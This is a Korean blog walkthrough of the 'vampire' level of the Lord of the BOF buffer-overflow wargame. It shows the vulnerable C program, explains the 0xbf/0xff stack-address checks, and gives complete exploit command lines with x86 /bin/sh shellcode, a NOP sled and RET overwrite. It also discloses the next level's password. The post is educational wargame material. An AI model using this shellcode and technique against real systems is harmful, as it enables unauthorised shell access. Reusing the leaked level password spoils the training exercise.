2011. 6. 5. 03:22

⊙ 문제의 소스를 보자)

[troll@localhost troll]$ cat vampire.c

/*

The Lord of the BOF : The Fellowship of the BOF

- vampire

- check 0xbfff

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// here is changed!

if(argv[1][46] == '\xff')

{

printf("but it's not forever\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


1) if문을 통해 argv[1][47] != "\xbf" 체크.
2) if문을 통해 argv[1][46] == "\xff" 체크.

   

♧ 스택 주소공간은 "0xbfff~"로 하향 성장 한다. [ 참조 ]

♧ argv[1][46]에 "\xff"가 되지 않도록 하기 위해서 실행 인자를 통해 길이를 늘려 조작한다.

※ 단, 길이를 조작 할 때 너무 큰 값을 주면 "Argument list too long" 에러 메시지가 출력된다.


   

∑ 익스 플로잇 작성!

※ 여기선 NOP썰매를 사용 할 필요는 없지만 GDB로 RET주소를 확인 할 경우 오차를 줄이기 위해 사용.

argv[1]

argv[2]

argv[3]

[RET] * 12

[NOP*50]+[쉘코드]

[주소 길이 조정]


① 사본을 만들어 마지막 행에 argv[2]의 주소값 출력문을 삽입.

[troll@localhost troll]$ sed '/buffer);/a\
printf("_____ argv[2] :: [ %#x ] _____\\n", argv[2]);' vampire.c > eripmav.c

② 컴파일후 임의의 값으로 실행.

[troll@localhost troll]$ gcc eripmav.c -o eripmav
[troll@localhost troll]$ ./eripmav $(python -c 'print "\xbf"*48') $(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "AAAA"*20000')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

_____ argv[2] :: [ 0xbffec3b2 ] _____

Segmentation fault (core dumped)

③ RET주소 변경.

./vampire $(python -c 'print "\xb2\xc3\xfe\xbf"*12') $(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "AAAA"*20000')

④ ∑xploit

완료!!!


   

   

♣ 기타 사항

ⓐ GDB로 RET 주소 확인 & ∑xploit

ⓑ GDB로 확인한 argv[2] 주소값 :: [ 0xbfffec3b4 ]

ⓒ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 2 ] = [ 0xbfffec3b4 ] - [ 0xbfffec3b2 ]


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

troll : "aspirin"

Posted by devanix